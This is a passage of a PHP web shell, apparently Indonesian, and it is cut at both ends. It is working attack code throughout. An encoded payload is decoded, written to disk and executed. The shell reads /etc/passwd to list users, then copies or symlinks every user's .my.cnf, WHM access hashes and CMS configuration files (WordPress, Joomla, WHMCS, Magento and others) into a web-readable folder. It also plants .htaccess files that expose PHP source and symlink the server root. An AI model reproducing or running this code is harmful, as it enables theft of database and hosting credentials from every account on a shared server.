y9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
        $file = "kuda_config/vhost.cin";
        $handle = fopen($file ,"w+");
        fwrite($handle ,base64_decode($vhost));
        fclose($handle);
        chmod($file, 0755);
        if(exe("cd kuda_config && ./vhost.cin")) {
            echo "<center><a href='$link_config/kuda_config'><font color=lime>DONE</font></a></center>";
        } else {
            echo "<center><a href='$link_config/kuda_config/vhost.cin'><font color=lime>DONE</font></a></center>";
        }
 
    } else {
        $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red><i>Can't read /etc/passwd</i></font></pre>");
        while($passwd = fgets($etc)) {
            if($passwd == "" || !$etc) {
                echo "<font color=red><i>Can't read /etc/passwd</i></font>";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_config);
                foreach($user_config[1] as $user_kuda) {
                    $user_config_dir = "/home/$user_kuda/public_html/";
                    if(is_readable($user_config_dir)) {
                        $grab_config = array(
                            "/home/$user_kuda/.my.cnf" => "cpanel",
                            "/home/$user_kuda/.accesshash" => "WHM-accesshash",
                            "$user_config_dir/po-content/config.php" => "Popoji",
                            "$user_config_dir/vdo_config.php" => "Voodoo",
                            "$user_config_dir/bw-configs/config.ini" => "BosWeb",
                            "$user_config_dir/config/koneksi.php" => "Lokomedia",
                            "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
                            "$user_config_dir/clientarea/configuration.php" => "WHMCS",
                            "$user_config_dir/whm/configuration.php" => "WHMCS",
                            "$user_config_dir/whmcs/configuration.php" => "WHMCS",
                            "$user_config_dir/forum/config.php" => "phpBB",
                            "$user_config_dir/sites/default/settings.php" => "Drupal",
                            "$user_config_dir/config/settings.inc.php" => "PrestaShop",
                            "$user_config_dir/app/etc/local.xml" => "Magento",
                            "$user_config_dir/joomla/configuration.php" => "Joomla",
                            "$user_config_dir/configuration.php" => "Joomla",
                            "$user_config_dir/wp/wp-config.php" => "WordPress",
                            "$user_config_dir/wordpress/wp-config.php" => "WordPress",
                            "$user_config_dir/wp-config.php" => "WordPress",
                            "$user_config_dir/admin/config.php" => "OpenCart",
                            "$user_config_dir/slconfig.php" => "Sitelok",
                            "$user_config_dir/application/config/database.php" => "Ellislab");
                        foreach($grab_config as $config => $nama_config) {
                            $ambil_config = file_get_contents($config);
                            if($ambil_config == '') {
                            } else {
                                $file_config = fopen("kuda_config/$user_kuda-$nama_config.txt","w");
                                fputs($file_config,$ambil_config);
                            }
                        }
                    }      
                }
            }  
        }
    echo "<center><a href='?dir=$dir/kuda_config'><font color=lime>DONE</font></a></center>";
    }
}
elseif($_GET['do'] == 'configv2') {
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
exit;
}
if($_POST){	if($_POST['config'] == 'symvhosts') {
@mkdir("kuda_symvhosts", 0777);
exe("ln -s / kuda_symvhosts/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("kuda_symvhosts/.htaccess",$htaccess);
$etc_passwd=$_POST['passwd'];
$etc_passwd=explode("
",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[5];
$kuda = preg_replace('//var/www/vhosts//', '', $user);
if (preg_match('/vhosts/i',$user)){
exe("ln -s ".$user."/httpdocs/wp-config.php kuda_symvhosts/".$kuda."-Wordpress.txt");
exe("ln -s ".$user."/httpdocs/configuration.php kuda_symvhosts/".$kuda."-Joomla.txt");
exe("ln -s ".$user."/httpdocs/config/koneksi.php kuda_symvhosts/".$kuda."-Lokomedia.txt");
exe("ln -s ".$user."/httpdocs/forum/config.php kuda_symvhosts/".$kuda."-phpBB.txt");
exe("ln -s ".$user."/httpdocs/sites/default/settings.php kuda_symvhosts/".$kuda."-Drupal.txt");
exe("ln -s ".$user."/httpdocs/config/settings.inc.php kuda_symvhosts/".$kuda."-PrestaShop.txt");
exe("ln -s ".$user."/httpdocs/app/etc/local.xml kuda_symvhosts/".$kuda."-Magento.txt");
exe("ln -s ".$user."/httpdocs/admin/config.php kuda_symvhosts/".$kuda."-OpenCart.txt");
exe("ln -s ".$user."/httpdocs/application/config/database.php kuda_symvhosts/".$kuda."-Ellislab.txt"); 
}}}
if($_POST['config'] == 'symlink') {
@mkdir("kuda_symconfig", 0777);
@symlink("/","kuda_symconfig/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("kuda_symconfig/.htaccess",$htaccess);}
if($_POST['config'] == '404') {
@mkdir("kuda_sym404", 0777);
@symlink("/","kuda_sym404/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex kuda.html
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
IndexIgnore *.txt404
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*kuda_sym404 [NC]
RewriteRule .txt$ %{REQUEST_URI}404 [L,R=302.NC]";
@file_put_contents("kuda_sym404/.htaccess",$htaccess);
}
if($_POST['config'] == 'grab') {
mkdir("kuda_configv2", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("kuda_configv2/.htaccess","w");
fwrite($htc, $isi_htc);	
}
$passwd = $_POST['passwd'];

preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_kuda) {
$grab_config = array(
"/home/$user_kuda/.accesshash" => "WHM-accesshash",
"/home/$user_kuda/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_kuda/public_html/forum/config.php" => "phpBB",
"/home/$user_kuda/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_kuda/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_kuda/public_html/app/etc/local.xml" => "Magento",
"/home/$user_kuda/public_html/admin/config.php" => "OpenCart",
"/home/$user_kuda/public_html/application/config/database.php" => "Ellislab",
"/home/$user_kuda/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/forum/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/forums/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/cc/includes/config.php" => "Vbulletin",
"/home/$user_kuda/public_html/inc/config.php" => "MyBB",
"/home/$user_kuda/public_html/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/shop/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/os/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/oscom/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/products/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/cart/includes/configure.php" => "OsCommerce",
"/home/$user_kuda/public_html/inc/conf_global.php" => "IPB",
"/home/$user_kuda/public_html/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wp/test/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/blog/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/beta/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/portal/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/site/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wp/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/WP/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/news/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/wordpress/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/test/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/demo/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/home/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/v1/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/v2/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/press/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/new/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/blogs/wp-config.php" => "Wordpress",
"/home/$user_kuda/public_html/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/blog/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/submitticket.php" => "^WHMCS",
"/home/$user_kuda/public_html/cms/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/beta/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/portal/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/site/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/main/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/home/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/demo/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/test/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/v1/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/v2/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/new/configuration.php" => "Joomla",
"/home/$user_kuda/public_html/WHMCS/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs1/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/WHMC/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whmc/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whmc/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/WHM/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/whm/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/HOST/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Host/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/host/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SUPPORTES/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Supportes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/supportes/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/domains/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/domain/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Hosting/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/HOSTING/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/hosting/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CART/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Cart/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/cart/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/ORDER/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/order/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Client/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/client/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Clientarea/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/clientarea/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/SUPPORT/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Support/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/support/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BILLING/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Billing/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/billing/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/BUY/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/Buy/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/buy/submitticket.php" => "WHMCS",
"/home/$user_kuda/public_html/MANAGE/submitticket.php" => "WHMCS",
